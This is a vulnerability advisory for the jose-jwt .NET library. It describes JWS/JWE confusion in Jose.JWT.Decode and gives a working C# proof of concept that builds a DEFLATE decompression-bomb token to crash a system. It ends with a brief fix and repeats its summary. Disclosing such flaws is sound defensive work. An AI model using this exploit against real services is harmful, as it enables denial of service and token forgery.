Summary
Jose.JWT.Decode will automatically detect whether the user inputs JWS or JWE. This means that if the attacker obtains the public key of JWS, he can forge a JWE Token to pass the verification.
What's more, the attacker can use the "zip" claim to construct a DEFLATE Decompression bomb to crash or DOS a system.
Similar CVE: GHSA-8g9c-28fc-mcx2
POC
using Jose;
class Program
{
static void Main()
{
Jwk Key = new Jwk(
e: "AQAB",
n: "qFZv0pea_jn5Mo4qEUmStuhlulso8n1inXbEotd_zTrQp9K0RK0hf7t0K4BjKVhaiqIam4tVVQvkmYeBeYr1MmnO_0N97dMBz_7fmvyv0hgHaBdQ5mR5u3LTlHo8tjRE7-GzZmGs6jMcyj7HbXobDPQJZpqNy6JjliDVXxW8nWJDetxGBlqmTj1E1fr2RCsZLreDOPSDIedG1upz9RraShsIDzeefOcKibcAaKeeVI3rkAU8_mOauLSXv37hlk0h6sStJb3qZQXyOUkVkjXIkhvNu_ve0v7LiLT4G_OxYGzpOQcCnimKdojzNP6GtVDaMPh-QkSJE32UCos9R3wI2Q",
p: "0qaOkT174vRG3E_67gU3lgOgoT6L3pVHuu7wfrIEoxycPa5_mZVG54SgvQUofGUYEGjR0lavUAjClw9tOzcODHX8RAxkuDntAFntBxgRM-IzAy8QzeRl_cbhgVjBTAhBcxg-3VySv5GdxFyrQaIo8Oy_PPI1L4EFKZHmicBd3ts",
q: "zJPqCDKqaJH9TAGfzt6b4aNt9fpirEcdpAF1bCedFfQmUZM0LG3rMtOAIhjEXgADt5GB8ZNK3BQl8BJyMmKs57oKmbVcODERCtPqjECXXsxH-az9nzxatPvcb7imFW8OlWslwr4IIRKdEjzEYs4syQJz7k2ktqOpYI5_UfYnw1s",
d: "lJhwb0pKlB2ivyDFO6thajotClrMA3nxIiSkIUbvVr-TToFtha36gyF6w6e6YNXQXs4HhMRy1_b-nRQDk8G4_f5urd_q-pOn5u4KfmqN3Xw-lYD3ddi9qF0NLeTVUNVFASeP0FFqbPYfdNwD-LyvwjhtT_ggMOAw3mYvU5cBfz6-3uPdhl3CwQFCTgwOud_BA9p2MPMUHG82wMK_sNO1I0TYpjm7TnwNBwiKbMf-i5CKnuohgoYrEDYLeMg3f32eBljlCFNYaoCtT-mr1Ze0OTJND04vbfLotV-BBKulIpbOOSeVpKG7gJxZHmv7in7PE5_WzaxKFVoHW3wR6v_GzQ",
dp: "KTWmTGmf092AA1euOmRQ5IsfIIxQ5qGDn-FgsRh4acSOGE8L7WrTrTU4EOJyciuA0qz-50xIDbs4_j5pWx1BJVTrnhBin9vNLrVo9mtR6jmFS0ko226kOUpwEVLgtdQjobWLjtiuaMW-_Iw4gKWNptxZ6T1lBD8UWHaPiEFW2-M",
dq: "Jn0lqMkvemENEMG1eUw0c601wPOMoPD4SKTlnKWPTlQS6YISbNF5UKSuFLwoJa9HA8BifDrD-Mfpo1M1HPmnoilEWUrfwMqqdCkOlbiJQhKY8AZ16QGH50kDXhmVVa8BRWdVQWBTUzWXS5kXMaeskVzextTgymPcOAhXN-ph7MU",
qi: "sRAPigJpl8S_vsf1zhJTrHM97xRwuB26R6Tm-J8sKRPb7p5xxNlmOBBFvWmWxdto8dBElNlydSZan373yBLxzW-bZgVp-B2RKT1B3WhTYW_Vo5DLhWi84XMncJxH7avtxtF9yksaeKe0e2n3J6TTan53mDg4KF8U0OEO2ciqO9g"
);
Jwk PubKey = new Jwk(
e: "AQAB",
n: "qFZv0pea_jn5Mo4qEUmStuhlulso8n1inXbEotd_zTrQp9K0RK0hf7t0K4BjKVhaiqIam4tVVQvkmYeBeYr1MmnO_0N97dMBz_7fmvyv0hgHaBdQ5mR5u3LTlHo8tjRE7-GzZmGs6jMcyj7HbXobDPQJZpqNy6JjliDVXxW8nWJDetxGBlqmTj1E1fr2RCsZLreDOPSDIedG1upz9RraShsIDzeefOcKibcAaKeeVI3rkAU8_mOauLSXv37hlk0h6sStJb3qZQXyOUkVkjXIkhvNu_ve0v7LiLT4G_OxYGzpOQcCnimKdojzNP6GtVDaMPh-QkSJE32UCos9R3wI2Q"
);
string strU = new string('U', 400000000);
string strUU = new string('U', 100000000);
string payload = $@"{{""U"":""{strU}"", ""UU"":""{strUU}""}}";
string eviltoken = Jose.JWT.Encode(payload, PubKey, JweAlgorithm.RSA_OAEP, JweEncryption.A256GCM, JweCompression.DEF);
string s = Jose.JWT.Decode(eviltoken, Key, JwsAlgorithm.RS256);
Console.WriteLine(s);
}
}How to Fix
set a maximum token size for expansion.
Summary
Jose.JWT.Decodewill automatically detect whether the user inputs JWS or JWE. This means that if the attacker obtains the public key of JWS, he can forge a JWE Token to pass the verification.What's more, the attacker can use the "zip" claim to construct a DEFLATE Decompression bomb to crash or DOS a system.
Similar CVE: GHSA-8g9c-28fc-mcx2
POC
How to Fix
set a maximum token size for expansion.